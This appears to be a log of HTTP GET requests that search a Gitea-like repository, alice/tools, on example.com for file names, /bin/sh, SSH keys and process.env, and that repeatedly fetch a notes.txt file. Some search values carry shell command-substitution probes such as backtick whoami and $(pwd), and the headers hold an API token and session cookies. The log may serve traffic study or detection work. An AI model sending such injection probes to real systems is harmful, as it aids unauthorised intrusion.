{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=.htaccess&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/releases?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=docker-compose.yml&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=docker-compose.yml&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/releases?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=install-script.sh&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=install-script.sh&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/releases?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=install-script.sh", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=install-script.sh", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=release%20notes&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=release%20notes&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/releases?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=release%20notes", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=release%20notes", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%2Fbin%2Fsh&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/feat/docker-support?path=&q=%2Fbin%2Fsh&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%2Fbin%2Fsh&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/releases?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/alice/tools/branches?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/-/packages?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=package.json&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/css/repo-branch-tag-selector.d9ca1da2.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=package.json&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/js/repo-branch-tag-selector.f396185d.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=package.json&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=package.json&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=.gitignore&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=.gitignore&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=docker-compose.yml&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=python3&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=ssh%20key&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=ssh%20key&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=feat%2Fdocker-support&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=feat%2Fdocker-support&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=ls%20-la&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=sed%20-i&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=sed%20-i&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%2Fbin%2Fsh&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%60make%20check%60&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%60make%20check%60&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%60whoami%60&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%60whoami%60&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=fetch%28&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=fetch%28&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%24%7BVAR%7D&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%24%7BVAR%7D&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%24%28pwd%29&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%24%28pwd%29&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=process.env&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
